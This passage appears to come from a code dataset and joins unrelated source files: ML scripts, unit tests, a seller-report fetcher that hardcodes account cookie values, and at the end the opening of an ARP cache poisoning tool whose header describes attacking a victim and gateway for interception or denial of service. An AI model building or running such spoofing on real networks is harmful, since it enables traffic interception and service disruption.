open(file1,\"wb\").write,1024)\n\n#关闭下载到本地的文件\n#提醒:虽然Python可以自动关闭文件,但实践证明,如果想下载完后立即读该文件,最好关闭后重新打开一次\nf.close()\n\n\n#ftp.delete(name) # 删除FTP文件 \n#ftp.storbinary('STOR '+filename, open(path, 'rb')) # 上传FTP文件 \nftp.quit() # 退出FTP服务器 ","sub_path":"0.练习脚本/ftp/ftp_download_example.py","file_name":"ftp_download_example.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"104696178","text":"import requests\nimport pandas as pd\nimport io\n\n\nclass ReportFetcher:\n\n report_url = \"https://sellercentral.amazon.com/gp/site-metrics/load/csv/check123.csv\"\n\n def get_report(self, auth_data, from_date, to_date):\n\n payload = {\n \"reportID\": \"102:DetailSalesTrafficByChildItem\",\n \"sortIsAscending\": 0,\n \"sortColumn\": 12,\n \"fromDate\": from_date,\n \"toDate\": to_date,\n \"cols\": \"/c0/c1/c2/c3/c4/c5/c6/c7/c8/c9/c10/c11\",\n \"dateUnit\": 1,\n \"currentPage\": 0,\n }\n\n headers = {}\n\n headers[\"Accept\"] = \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\"\n headers[\"Accept-Encoding\"] = \"gzip, deflate, br\"\n headers[\"Accept-Language\"] = \"en-US,en;q=0.9,he;q=0.8\"\n headers[\"Cache-Control\"] = \"no-cache\"\n headers[\"Connection\"] = \"keep-alive\"\n headers[\"Content-Type\"] = \"application/x-www-form-urlencoded\"\n headers[\"Host\"] = \"sellercentral.amazon.com\"\n headers[\"Origin\"] = \"https] =//sellercentral.amazon.com\"\n headers[\"Pragma\"] = \"no-cache\"\n headers[\"Referer\"] = \"https] =//sellercentral.amazon.com/gp/site-metrics/report.html\"\n headers[\"Sec-Fetch-Mode\"] = \"navigate\"\n headers[\"Sec-Fetch-Site\"] = \"same-origin\"\n headers[\"Sec-Fetch-User\"] = \"?1\"\n headers[\"User-Agent\"] = \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36\"\n headers[\"Cookie\"] = \"aws-account-alias=feedvisor-production-account; \" +\\\n \"aws-ubid-main=204-5143614-0315015; \" +\\\n \"; \".join(list(map(lambda cookie: cookie[\"name\"] + \"=\" + cookie[\"value\"], auth_data)))\n\n r = requests.post(self.report_url, data=payload, headers=headers)\n c = pd.read_csv(io.StringIO(r.content.decode('utf-8')))\n return c\n","sub_path":"services/reportFetcher.py","file_name":"reportFetcher.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"614224598","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Sep 13 21:08:18 2020\r\n\r\n@author: rpira\r\n\"\"\"\r\n\r\n\r\nfrom __future__ import absolute_import, division, print_function, unicode_literals\r\n#group rank and group size and type of output\r\nimport pandas as pd\r\nimport math\r\nimport numpy as np\r\nfrom sklearn.svm import SVR\r\n####### data for crossfold\r\ndataset= pd.read_csv('DataI300Q7893.csv') # read data set using pandas\r\n#np.random.shuffle(dataset.values)\r\n#dataset.sample(frac=1)\r\nInputData=dataset.copy()\r\n#Split features from labels\r\nInputData.pop('P')\r\nInputData.pop('D')\r\nInputData.pop('Time')\r\nInputData.pop('Energy')\r\nOutputData=InputData.pop('Error')\r\n#Defining the parameters\r\ngrid={}\r\n\r\n#Define the portion for the data\r\nK_fold=4\r\npp=len(InputData)\r\ncounter=math.floor(pp/K_fold)\r\ni=0\r\nIndEnd=(i+1)*counter\r\nIndBeging=i*counter\r\ntest_dataset = InputData[int(IndBeging):int(IndEnd)]\r\ntrain_dataset = InputData.drop(test_dataset.index)\r\ntest_labels = OutputData[int(IndBeging):int(IndEnd)]\r\ntrain_labels = OutputData.drop(test_labels.index)\r\n### Defining MAPE\r\ndef mean_absolute_percentage_error(y_true, y_pred): \r\n y_true, y_pred = np.array(y_true), np.array(y_pred)\r\n return np.mean(np.abs((y_true - y_pred) / y_true)) * 100\r\n\r\ndef CrossOver(K_fold,InputData,Output,ModelInfo):\r\n ScoresMAPE=[]\r\n ScoresMSE=[]\r\n for CrossCount in range(1,K_fold+1):\r\n mse,mape =compile_model(CrossCount,K_fold,InputData,Output,ModelInfo)\r\n ScoresMAPE.append(mape)\r\n ScoresMSE.append(mse)\r\n CrossMape=np.mean(ScoresMAPE)\r\n CrossMSE=np.mean(ScoresMSE)\r\n return CrossMape,CrossMSE\r\n\r\n## Making the GP\r\n#kernel = gp.kernels.ConstantKernel(1.0, (1e-1, 1e3)) * gp.kernels.Matern(10.0, (1e-3, 1e3))\r\nregressor = SVR(kernel='linear', C=.01, gamma = .05, epsilon = 0.001)\r\nregressor.fit(train_dataset,train_labels)#5 Predicting a new result\r\ny_pred = regressor.predict(test_dataset)\r\nMSE = ((y_pred-test_labels)**2).mean()\r\nMAPE=mean_absolute_percentage_error(test_labels, y_pred)\r\nprint('MAPE=',MAPE)\r\nprint('MSE=',MSE)\r\n#print('Std=',std)\r\n#print('StdLen=',len(std))\r\n","sub_path":"SVR/SVR.py","file_name":"SVR.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"639372572","text":"import pytest\n\nfrom antidote import LazyCall, LazyMethodCall, Service, world\nfrom antidote._providers import LazyProvider, ServiceProvider\n\n\n@pytest.fixture(autouse=True)\ndef empty_world():\n with world.test.empty():\n world.provider(LazyProvider)\n world.provider(ServiceProvider)\n yield\n\n\ndef test_lazy_singleton():\n def func():\n return object()\n\n test = LazyCall(func, singleton=False)\n assert world.get(test) != world.get(test)\n\n test2 = LazyCall(func, singleton=True)\n assert world.get(test2) is world.get(test2)\n\n default = LazyCall(func)\n assert world.get(default) is world.get(default)\n\n\n@pytest.mark.parametrize(\n 'args,kwargs',\n [\n ((1,), dict(test=2)),\n ((), dict(x=32)),\n ((4,), {})\n ]\n)\ndef test_args_kwargs(args, kwargs):\n def func(*args_, **kwargs_):\n return args_, kwargs_\n\n test = LazyCall(func)(*args, **kwargs)\n assert (args, kwargs) == world.get(test)\n\n\ndef test_method_call():\n x = object()\n\n class Test(Service):\n def get(self, s):\n return s\n\n A = LazyMethodCall(get)(x)\n\n assert world.get(Test.A) is x\n\n\ndef test_method_same_instance():\n class Test(Service):\n def get(self):\n return self\n\n A = LazyMethodCall(get, singleton=True)\n B = LazyMethodCall(get, singleton=False)\n\n instance = world.get(Test)\n assert world.get(Test.A) is instance\n assert world.get(Test.B) is instance\n\n\ndef test_method_singleton():\n class Test(Service):\n def get(self):\n return object()\n\n A = LazyMethodCall(get, singleton=True)\n B = LazyMethodCall(get, singleton=False)\n C = LazyMethodCall(get)\n\n assert world.get(Test.A) is world.get(Test.A)\n assert world.get(Test.B) != world.get(Test.B)\n assert world.get(Test.C) is world.get(Test.C) # singleton by default\n\n\ndef test_method_direct_call():\n class Test(Service):\n def get(self):\n return \"Hello\"\n\n A = LazyMethodCall(get)\n\n t = Test()\n assert t.A == \"Hello\"\n\n\n@pytest.mark.parametrize(\n 'args,kwargs',\n [\n ((1,), dict(test=2)),\n ((), dict(x=32)),\n ((4,), {})\n ]\n)\ndef test_method_args_kwargs(args, kwargs):\n class Test(Service):\n def get(self, *args_, **kwargs_):\n return args_, kwargs_\n\n A = LazyMethodCall(get)(*args, **kwargs)\n\n assert (args, kwargs) == Test().A\n assert (args, kwargs) == world.get(Test.A)\n\n\ndef test_invalid_lazy_call():\n with pytest.raises(TypeError, match=\".*func.*\"):\n LazyCall(func=object())\n\n with pytest.raises(TypeError, match=\".*singleton.*\"):\n LazyCall(func=lambda: None, singleton=object())\n\n\ndef test_invalid_lazy_method_call():\n with pytest.raises(TypeError, match=\".*method.*\"):\n LazyMethodCall(method=object())\n\n with pytest.raises(TypeError, match=\".*singleton.*\"):\n LazyMethodCall(method=lambda: None, singleton=object())\n\n\ndef test_invalid_lazy_method_class():\n class Dummy:\n def get(self, x):\n pass\n\n A = LazyMethodCall(get)\n B = LazyMethodCall(get)(x=1)\n\n with pytest.raises(RuntimeError):\n Dummy.A\n\n with pytest.raises(RuntimeError):\n Dummy().A\n\n with pytest.raises(RuntimeError):\n Dummy.B\n\n with pytest.raises(RuntimeError):\n Dummy().B\n","sub_path":"tests/extension/test_lazy.py","file_name":"test_lazy.py","file_ext":"py","file_size_in_byte":3367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"141620267","text":"import tensorflow as tf\n\n\ndef clip_gradients(gradients, clip_value=5., clip_method='norm'):\n \"\"\"\n Peforms gradient clipping on a list of gradients by using either value\n clipping, norm clipping or global norm clipping. Raises ValueError if\n an unknown clipping method is specified.\n ----------\n\n Arguments:\n gradients: list of tf.Tensor -- the computed gradients for neural network parameter\n ----------\n\n Keyword Arguments:\n clip_value: float > 0 -- the value used for clipping \n clip_method: str -- the method used for clipping, either 'norm', 'global_norm', or 'value'\n ----------\n\n Returns:\n gradients: list -- the clipped gradients\n \"\"\"\n\n if clip_method == 'global_norm':\n gradients, _ = tf.clip_by_global_norm(gradients, clip_value)\n elif clip_method == 'norm':\n gradients = [tf.clip_by_norm(grad, clip_value) for grad in gradients if grad is not None]\n elif clip_method == 'value':\n gradients = [tf.clip_by_value(grad, -clip_value, clip_value) for grad in gradients if grad is not None]\n else:\n raise ValueError(\"clip_method parameter should be a string in ['norm', 'global_norm', 'value']\")\n return gradients","sub_path":"experimental/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"598115904","text":"import sys,argparse\nimport os,glob\nimport numpy as np\nimport pandas as pd\n#from GenomeData import *\n\nimport matplotlib\n# matplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nmatplotlib.rcParams['font.size']=15\nmatplotlib.rcParams[\"font.sans-serif\"] = [\"Arial\"]\nmatplotlib.rcParams['mathtext.fontset'] = 'custom'\nmatplotlib.rcParams[\"mathtext.rm\"] = \"Arial\"\nimport seaborn as sns\nsns.set(font_scale=1.1)\nsns.set_style(\"whitegrid\", {'axes.grid' : False})\nsns.set_style(\"ticks\")\n\n\nfor binding_type in ['WT','DEL_specific']:\n count_df = pd.DataFrame()\n exon_df = pd.read_csv('overlapped/{}_exons_overlapped.bed'.format(binding_type),sep='\\t',index_col=3,header=None).loc[:,:3]\n intron_df = pd.read_csv('overlapped/{}_introns_overlapped.bed'.format(binding_type),sep='\\t',index_col=3,header=None).loc[:,:3]\n promoter_df = pd.read_csv('overlapped/{}_promoter_overlapped.bed'.format(binding_type),sep='\\t',index_col=3,header=None).loc[:,:3]\n \n annotation_df = pd.read_csv('../data/WT_peaks.bed',sep='\\t',index_col=3,header=None).loc[:,:3]\n if binding_type == 'DEL_specific':\n annotation_df = pd.read_csv('../data/DEL_NOT_overlap_with_WT.bed',sep='\\t',index_col=3,header=None).loc[:,:3]\n annotation_df.columns = ['chr','start','end']\n annotation_df['id']=annotation_df.index\n \n \n annotation_df.loc[intron_df.index,'annotation']='Intron'\n annotation_df.loc[exon_df.index,'annotation']='Exon'\n annotation_df.loc[promoter_df.index,'annotation']='Promoter'\n annotation_df['annotation'] = annotation_df['annotation'].fillna('Intergenic')\n \n # #print(annotation_df);exit()\n annotation_df.to_csv('{}_binding_with_gene_annotation.csv'.format(binding_type),index=False)\n \n a = annotation_df[annotation_df['annotation']=='Promoter'].shape[0]\n b = annotation_df[annotation_df['annotation']=='Exon'].shape[0]\n c = annotation_df[annotation_df['annotation']=='Intron'].shape[0]\n d = annotation_df[annotation_df['annotation']=='Intergenic'].shape[0]\n \n print('Promoter',a)\n print('Exon',b)\n print('Intron',c)\n print('Intergenic',d)\n count_df.loc['Promoter',binding_type] = a\n count_df.loc['Exon',binding_type] = b\n count_df.loc['Intron',binding_type] = c\n count_df.loc['Intergenic',binding_type] = d\n count_df.to_csv('{}_count.csv'.format(binding_type))\n \n ## plot pie chart\n fig = plt.figure(figsize=(2.6,2.6))\n labels = 'Promoter ({})'.format(a), 'Exon ({})'.format(b), 'Intron \\n({})'.format(c), 'Intergenic \\n({})'.format(d)\n sizes = [a,b,c,d]\n explode = (0, 0.0, 0, 0)\n plt.pie(sizes, explode=explode, labels=labels, autopct='%1.1f%%',\n shadow=False, startangle=90,counterclock=False)\n plt.axes().axis('equal') \n # plt.title('{}\\n'.format(binding_type))\n plt.savefig('{}_genomic_annotation.pdf'.format(binding_type),bbox_inches='tight',pad_inches=0.1,dpi=600,transparent=True)\n plt.show()\n plt.close()\n \n \n \n \n \n \n","sub_path":"f0_data_process/chip_seq/final_chipseq/sicer2_islands/check_UTX_features_add_DEL/genomic_distribution/py1_add_genomic_annotation.py","file_name":"py1_add_genomic_annotation.py","file_ext":"py","file_size_in_byte":2968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"651560337","text":"# ------------------------------------\n# Copyright (c) Microsoft Corporation.\n# Licensed under the MIT License.\n# ------------------------------------\nimport functools\nimport json\nimport time\n\ntry:\n from unittest.mock import Mock, patch\nexcept ImportError: # python < 3.3\n from mock import Mock, patch # type: ignore\n\nfrom azure.core.credentials import AccessToken\nfrom azure.core.exceptions import ClientAuthenticationError\nfrom azure.identity import (\n ChainedTokenCredential,\n ClientSecretCredential,\n CredentialUnavailableError,\n DefaultAzureCredential,\n EnvironmentCredential,\n)\nfrom azure.identity._credentials.managed_identity import ImdsCredential\nfrom azure.identity._constants import EnvironmentVariables, KnownAuthorities\nfrom azure.identity._internal import get_default_authority, normalize_authority\nimport pytest\n\nfrom helpers import mock_response, Request, validating_transport\n\n\ndef test_get_default_authority():\n \"\"\"get_default_authority should return public cloud or the value of $AZURE_AUTHORITY_HOST, with 'https' scheme\"\"\"\n\n # default scheme is https\n for authority in (\"localhost\", \"https://localhost\"):\n with patch.dict(\"os.environ\", {EnvironmentVariables.AZURE_AUTHORITY_HOST: authority}, clear=True):\n assert get_default_authority() == \"https://localhost\"\n\n # default to public cloud\n for environ in ({}, {EnvironmentVariables.AZURE_AUTHORITY_HOST: KnownAuthorities.AZURE_PUBLIC_CLOUD}):\n with patch.dict(\"os.environ\", environ, clear=True):\n assert get_default_authority() == \"https://\" + KnownAuthorities.AZURE_PUBLIC_CLOUD\n\n # require https\n with pytest.raises(ValueError):\n with patch.dict(\"os.environ\", {EnvironmentVariables.AZURE_AUTHORITY_HOST: \"http://localhost\"}, clear=True):\n get_default_authority()\n\n\ndef test_normalize_authority():\n \"\"\"normalize_authority should return a URI with a scheme and no trailing spaces or forward slashes\"\"\"\n\n localhost = \"localhost\"\n localhost_tls = \"https://\" + localhost\n\n # accept https if specified, default to it when no scheme specified\n for uri in (localhost, localhost_tls):\n assert normalize_authority(uri) == localhost_tls\n\n # remove trailing characters\n for string in (\"/\", \" \", \"/ \", \" /\"):\n assert normalize_authority(uri + string) == localhost_tls\n\n # raise for other schemes\n for scheme in (\"http\", \"file\"):\n with pytest.raises(ValueError):\n normalize_authority(scheme + \"://localhost\")\n\n\ndef test_client_secret_environment_credential():\n client_id = \"fake-client-id\"\n secret = \"fake-client-secret\"\n tenant_id = \"fake-tenant-id\"\n access_token = \"***\"\n\n transport = validating_transport(\n requests=[Request(url_substring=tenant_id, required_data={\"client_id\": client_id, \"client_secret\": secret})],\n responses=[\n mock_response(\n json_payload={\n \"token_type\": \"Bearer\",\n \"expires_in\": 42,\n \"ext_expires_in\": 42,\n \"access_token\": access_token,\n }\n )\n ],\n )\n\n environment = {\n EnvironmentVariables.AZURE_CLIENT_ID: client_id,\n EnvironmentVariables.AZURE_CLIENT_SECRET: secret,\n EnvironmentVariables.AZURE_TENANT_ID: tenant_id,\n }\n with patch(\"os.environ\", environment):\n token = EnvironmentCredential(transport=transport).get_token(\"scope\")\n\n # not validating expires_on because doing so requires monkeypatching time, and this is tested elsewhere\n assert token.token == access_token\n\n\ndef test_credential_chain_error_message():\n first_error = \"first_error\"\n first_credential = Mock(\n spec=ClientSecretCredential, get_token=Mock(side_effect=CredentialUnavailableError(first_error))\n )\n second_error = \"second_error\"\n second_credential = Mock(\n name=\"second_credential\", get_token=Mock(side_effect=ClientAuthenticationError(second_error))\n )\n\n with pytest.raises(ClientAuthenticationError) as ex:\n ChainedTokenCredential(first_credential, second_credential).get_token(\"scope\")\n\n assert \"ClientSecretCredential\" in ex.value.message\n assert first_error in ex.value.message\n assert second_error in ex.value.message\n\n\ndef test_chain_attempts_all_credentials():\n expected_token = AccessToken(\"expected_token\", 0)\n\n credentials = [\n Mock(get_token=Mock(side_effect=CredentialUnavailableError(message=\"\"))),\n Mock(get_token=Mock(side_effect=CredentialUnavailableError(message=\"\"))),\n Mock(get_token=Mock(return_value=expected_token)),\n ]\n\n token = ChainedTokenCredential(*credentials).get_token(\"scope\")\n assert token is expected_token\n\n for credential in credentials:\n assert credential.get_token.call_count == 1\n\n\ndef test_chain_raises_for_unexpected_error():\n \"\"\"the chain should not continue after an unexpected error (i.e. anything but CredentialUnavailableError)\"\"\"\n\n expected_message = \"it can't be done\"\n\n credentials = [\n Mock(get_token=Mock(side_effect=CredentialUnavailableError(message=\"\"))),\n Mock(get_token=Mock(side_effect=ValueError(expected_message))),\n Mock(get_token=Mock(return_value=AccessToken(\"**\", 42))),\n ]\n\n with pytest.raises(ClientAuthenticationError) as ex:\n ChainedTokenCredential(*credentials).get_token(\"scope\")\n\n assert expected_message in ex.value.message\n assert credentials[-1].get_token.call_count == 0\n\n\ndef test_chain_returns_first_token():\n expected_token = Mock()\n first_credential = Mock(get_token=lambda _: expected_token)\n second_credential = Mock(get_token=Mock())\n\n aggregate = ChainedTokenCredential(first_credential, second_credential)\n credential = aggregate.get_token(\"scope\")\n\n assert credential is expected_token\n assert second_credential.get_token.call_count == 0\n\n\ndef test_imds_credential_cache():\n scope = \"https://foo.bar\"\n expired = \"this token's expired\"\n now = int(time.time())\n token_payload = {\n \"access_token\": expired,\n \"refresh_token\": \"\",\n \"expires_in\": 0,\n \"expires_on\": now - 300, # expired 5 minutes ago\n \"not_before\": now,\n \"resource\": scope,\n \"token_type\": \"Bearer\",\n }\n\n mock_response = Mock(\n text=lambda encoding=None: json.dumps(token_payload),\n headers={\"content-type\": \"application/json\"},\n status_code=200,\n content_type=\"application/json\",\n )\n mock_send = Mock(return_value=mock_response)\n\n credential = ImdsCredential(transport=Mock(send=mock_send))\n token = credential.get_token(scope)\n assert token.token == expired\n assert mock_send.call_count == 2 # first request was probing for endpoint availability\n\n # calling get_token again should provoke another HTTP request\n good_for_an_hour = \"this token's good for an hour\"\n token_payload[\"expires_on\"] = int(time.time()) + 3600\n token_payload[\"expires_in\"] = 3600\n token_payload[\"access_token\"] = good_for_an_hour\n token = credential.get_token(scope)\n assert token.token == good_for_an_hour\n assert mock_send.call_count == 3\n\n # get_token should return the cached token now\n token = credential.get_token(scope)\n assert token.token == good_for_an_hour\n assert mock_send.call_count == 3\n\n\ndef test_imds_credential_retries():\n mock_response = Mock(\n text=lambda encoding=None: b\"{}\",\n headers={\"content-type\": \"application/json\", \"Retry-After\": \"0\"},\n content_type=\"application/json\",\n )\n mock_send = Mock(return_value=mock_response)\n\n total_retries = ImdsCredential._create_config().retry_policy.total_retries\n\n for status_code in (404, 429, 500):\n mock_send.reset_mock()\n mock_response.status_code = status_code\n try:\n ImdsCredential(transport=Mock(send=mock_send)).get_token(\"scope\")\n except ClientAuthenticationError:\n pass\n # first call was availability probe, second the original request;\n # credential should have then exhausted retries for each of these status codes\n assert mock_send.call_count == 2 + total_retries\n\n\n@patch(\"azure.identity._credentials.default.SharedTokenCacheCredential\")\ndef test_default_credential_shared_cache_use(mock_credential):\n mock_credential.supported = Mock(return_value=False)\n\n # unsupported platform -> default credential shouldn't use shared cache\n credential = DefaultAzureCredential()\n assert mock_credential.call_count == 0\n assert mock_credential.supported.call_count == 1\n mock_credential.supported.reset_mock()\n\n mock_credential.supported = Mock(return_value=True)\n\n # supported platform -> default credential should use shared cache\n credential = DefaultAzureCredential()\n assert mock_credential.call_count == 1\n assert mock_credential.supported.call_count == 1\n mock_credential.supported.reset_mock()\n\n\ndef test_username_password_environment_credential():\n client_id = \"fake-client-id\"\n username = \"foo@bar.com\"\n password = \"password\"\n expected_token = \"***\"\n\n create_transport = functools.partial(\n validating_transport,\n requests=[Request()] * 3, # not validating requests because they're formed by MSAL\n responses=[\n # tenant discovery\n mock_response(json_payload={\"authorization_endpoint\": \"https://a/b\", \"token_endpoint\": \"https://a/b\"}),\n # user realm discovery, interests MSAL only when the response body contains account_type == \"Federated\"\n mock_response(json_payload={}),\n # token request\n mock_response(\n json_payload={\n \"access_token\": expected_token,\n \"expires_in\": 42,\n \"token_type\": \"Bearer\",\n \"ext_expires_in\": 42,\n }\n ),\n ],\n )\n\n environment = {\n EnvironmentVariables.AZURE_CLIENT_ID: client_id,\n EnvironmentVariables.AZURE_USERNAME: username,\n EnvironmentVariables.AZURE_PASSWORD: password,\n }\n with patch(\"os.environ\", environment):\n token = EnvironmentCredential(transport=create_transport()).get_token(\"scope\")\n\n # not validating expires_on because doing so requires monkeypatching time, and this is tested elsewhere\n assert token.token == expected_token\n\n # now with a tenant id\n environment = {\n EnvironmentVariables.AZURE_CLIENT_ID: client_id,\n EnvironmentVariables.AZURE_USERNAME: username,\n EnvironmentVariables.AZURE_PASSWORD: password,\n EnvironmentVariables.AZURE_TENANT_ID: \"tenant_id\",\n }\n with patch(\"os.environ\", environment):\n token = EnvironmentCredential(transport=create_transport()).get_token(\"scope\")\n\n assert token.token == expected_token\n","sub_path":"sdk/identity/azure-identity/tests/test_identity.py","file_name":"test_identity.py","file_ext":"py","file_size_in_byte":10885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"455254726","text":"import KK_v2 as kk_v2\nimport google_sheet_access as gs\nimport smtplib as sp\nimport csv\nimport os\nimport datetime\n\n#Email set up\nprint('Email password?')\npassword = input()\nmail = sp.SMTP('smtp.gmail.com',587)\nmail.ehlo()\nmail.starttls()\nmail.login(\"EMAIL HERE\", password)\n\n#Retrieves the information from the Google Sheet\nAPI_KEY = 'API KEY HERE'\ngs.create_google_api()\n\n\n\n#Will retrieve previous CSVs for previous year and two years previous to compare to current matches CONTINUE HERE\ndef read_csv(name):\n list = []\n with open(name, 'rt', newline='\\n') as csvfile:\n prev_year_reader = csv.reader(csvfile, dialect='excel')\n for row in prev_year_reader:\n list.append(row)\n return list\n\n#creates list of family members\n#add kid KK stuff\ndef create_matches():\n unparsed_list = gs.retrieve_sheet_info(API_KEY)\n kid_kk_list = []\n kids = []\n family_list = []\n family = []\n family_number = 0\n for memb in unparsed_list:\n if not memb:\n family_list.append(family)\n family = []\n kid_kk_list.append(kids)\n kids = []\n family_number = family_number + 1\n continue\n if memb[0] and memb[3]:\n name = memb[0]\n email = memb[3]\n kid_num = memb[2]\n family.append(kk_v2.Fmemb(name, family_number, email, kid_num))\n if memb[1]:\n kid_name = memb[1]\n kids.append(kk_v2.kid(kid_name, family_number))\n family_list.append(family)\n kid_kk_list.append(kids)\n members = kk_v2.match_members(family_list)\n kk_v2.match_kids(members, kid_kk_list)\n return members\n\n\n#Generic message for each kk member\ndef kk_message(row):\n if row[3]:\n message = 'hello ' + row[0] + ' your kk is ' + row[1] + ', and your kid KK(s) is ' + row[3]\n else:\n message = 'hello ' + row[0] + ' your kk is ' + row[1]\n return message\n\n\n#sends pairs\ndef send_current_matches():\n current_matches = read_csv(str(datetime.datetime.now().year) + '_matches.csv')\n for i in current_matches:\n mail.sendmail('EMAIL HERE', i[2], kk_message(i)) #(email, reciever, message)\n mail.close()\n\n\n#Use to check previous years' CSVs against your current match\ndef check_matches(matches):\n prev_year = str(datetime.datetime.now().year - 1) + '_matches.csv'\n sec_prev_year = str(datetime.datetime.now().year - 2) + '_matches.csv'\n last_year = read_csv('./previous_matches/' + prev_year)#csv from last year, csv kk_1_year.csv\n two_years_ago = read_csv('./previous_matches/' + sec_prev_year)#csv from two years ago, cwd kk_2_year.csv\n match_usable = True\n for a, b in matches.items():\n if match_usable is False:\n break\n for j in last_year:\n if [a.name, b.name] == [j[0], j[1]]:\n print(a.name + \" has same match as last year\")\n match_usable = False\n break\n elif len(j) == 4 and bool(set(a.kidKKs) & set(j[3].split(','))):\n print(a.name + ' has at least one similar kid last year')\n match_usable = False\n break\n else:\n continue\n for k in two_years_ago:\n if [a.name, b.name] == [k[0], k[1]]:\n print(a.name + \" has same match as two years ago\")\n match_usable = False\n break\n elif len(k) == 4 and bool(set(a.kidKKs) & set(k[3].split(','))):\n print(a.name + ' has at least one similar kid two years ago')\n else:\n continue\n if match_usable is False:\n print('current KK list not usable')\n return False\n else:\n print('current KK list usable')\n return True\n\n#Use to write CSVs for of the current list of matches to compare to the others.\ndef save_current_match(dict):\n if check_matches:\n year = datetime.datetime.now().year\n filename = str(year) + '_matches.csv'\n new_csv = kk_v2.create_csv(dict)\n with open(filename, 'w', newline='\\n') as new_file:\n csv_writer = csv.writer(new_file, dialect='excel')\n for i in new_csv:\n csv_writer.writerow(i)\n else:\n print('Did not pass check_matches')\n\n\n#ONLY run when year is finished to prepare for running again next year\ndef conclude_year():\n current = str(datetime.datetime.now().year) + '_matches.csv'\n os.rename(current, './previous_matches/' + current)\n","sub_path":"KK_main_git.py","file_name":"KK_main_git.py","file_ext":"py","file_size_in_byte":4478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"10683181","text":"import unittest\nfrom unittest import TestCase\nfrom BackEnd.Main import _filter,_relevant_string_score,_compare_geolocation, _ensure_id, _nearby, _rank\n\nclass test_filter(TestCase):\n def test_given(self):\n param1 = {\"description\":\"Carro\", \"open\":\"True\", \"range\":\"4\", \"size_min\" : \"2\", \"size_max\" : \"10\", \"type\" : \"Carrot\"}\n self.assertEqual(_filter(param1), [\"-LTK7FdHPl_NOScTuRhj\"])\n\nclass test_rank(TestCase):\n def test_given(self):\n list = [1,2,3,4,5]\n # If user search is not specified, then the same list is returned.\n self.assertListEqual(_rank(list, \"rand\"), list)\n self.assertListEqual(_rank(list, \"RELEVANT\"), list)\n # Checking random\n self.assertListEqual(_rank(list,\"RANDOM\"),list)\n\n self.assertListEqual(_rank([\"-LTK7FdHPl_NOScTuRhj\"], \"RELEVANT\", \"ff\"), [\"-LTK7FdHPl_NOScTuRhj\"])\n self.assertListEqual(_rank([\"-LTK7FdHPl_NOScTuRhj\"], \"RECENT\", \"ff\"), [\"-LTK7FdHPl_NOScTuRhj\"])\n\nclass test_relevant_string_score(TestCase):\n def test_given(self):\n self.assertEqual(_relevant_string_score(\"v\",\"a\"),0)\n\n self.assertEqual(_relevant_string_score(\"a\",\"a\"),10)\n\n relevancy_1 = _relevant_string_score(\"ba\",\"a\")\n self.assertTrue(relevancy_1 <10 and relevancy_1 > 0)\n\n self.assertEqual(_relevant_string_score(\"abc\",\"fads\"), 0)\n\nclass test_nearby(TestCase):\n def test_given(self):\n tup_1 = (0, 0)\n tup_2 = (3, 4)\n #_nearby(tup_2,\"members\")\n\n\nclass test_ensure_id(TestCase):\n def test_given(self):\n test = False\n try:\n _ensure_id(\"c\")\n except:\n test = True\n\n self.assertTrue(test)\n\n #Added a random value, x , into the database to test\n self.assertEqual(_ensure_id(\"x\"),{\" \":\" \"})\n\n self.assertEqual(_ensure_id(\"timestamp\"),1)\n\n\n\nclass test_compare_geolocation(TestCase):\n def test_given(self):\n tup_1 = (0, 0)\n tup_2 = (3, 4)\n self.assertTrue(_compare_geolocation(tup_1, tup_2, 5))\n\n tup_3 = (5, 10)\n self.assertFalse(_compare_geolocation(tup_1, tup_3, 5))\n\n tup_4 = (10, 10)\n self.assertTrue(_compare_geolocation(tup_1, tup_4, 15))\n\nif __name__ == '__main__':\n unittest.main()\n\n","sub_path":"BackEnd/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"344860517","text":"#ARP Cache Poisoning Project v1.1 works on windows and linux\r\n#CSE 5473\r\n#Authors: Jim Dickson, Aaron Fuhrer, Adam Tetzlaff, Zach McGohan\r\n\r\n#ArpPoison does exactly what its name implies, carries out arp poisoning attacks!\r\n#Note: Doesn't currently work for IPv6 addresses\r\n\r\n#Command line arguments \r\n#-h Prints help \r\n#-g [gateway_ip] Specifies the gateway IP to attack\r\n#-v [victim_ip] Specifies the victim IP to attack\r\n#-if [interface_name] Specifies which interface to spoof from. If not specified it uses the default network interface\r\n#-dos Doesn't enable IP routing causing a denial of service attack on the victim\r\n#-t Sets the packet timeout in seconds for the network probe (default is 2)\r\n#-r [filename] Records the network traffic to the specified PCAP file [Coming Soon...]\r\n\r\n\r\nimport sys\r\nimport os\r\nfrom scapy.all import *\r\nfrom threading import Thread\r\nimport netifaces\r\nimport ipaddress\r\n\r\nrouting_enabled = None #records the current state of routing on the machine\r\npacket_timeout = 2 #default timeout for packets\r\nconf.verb = 0\r\n\r\n#Returns the OS platform of the host machine\r\ndef get_platform():\r\n platforms = {\r\n 'linux1' : 'Linux',\r\n 'linux2' : 'Linux', #for some older linux systems\r\n 'darwin' : 'OS X',\r\n 'win32' : 'Windows'\r\n }\r\n if sys.platform not in platforms:\r\n return sys.platform\r\n else:\r\n return platforms[sys.platform]\r\n \r\nos_type = get_platform()\r\nif(os_type=='Windows'):\r\n #import the 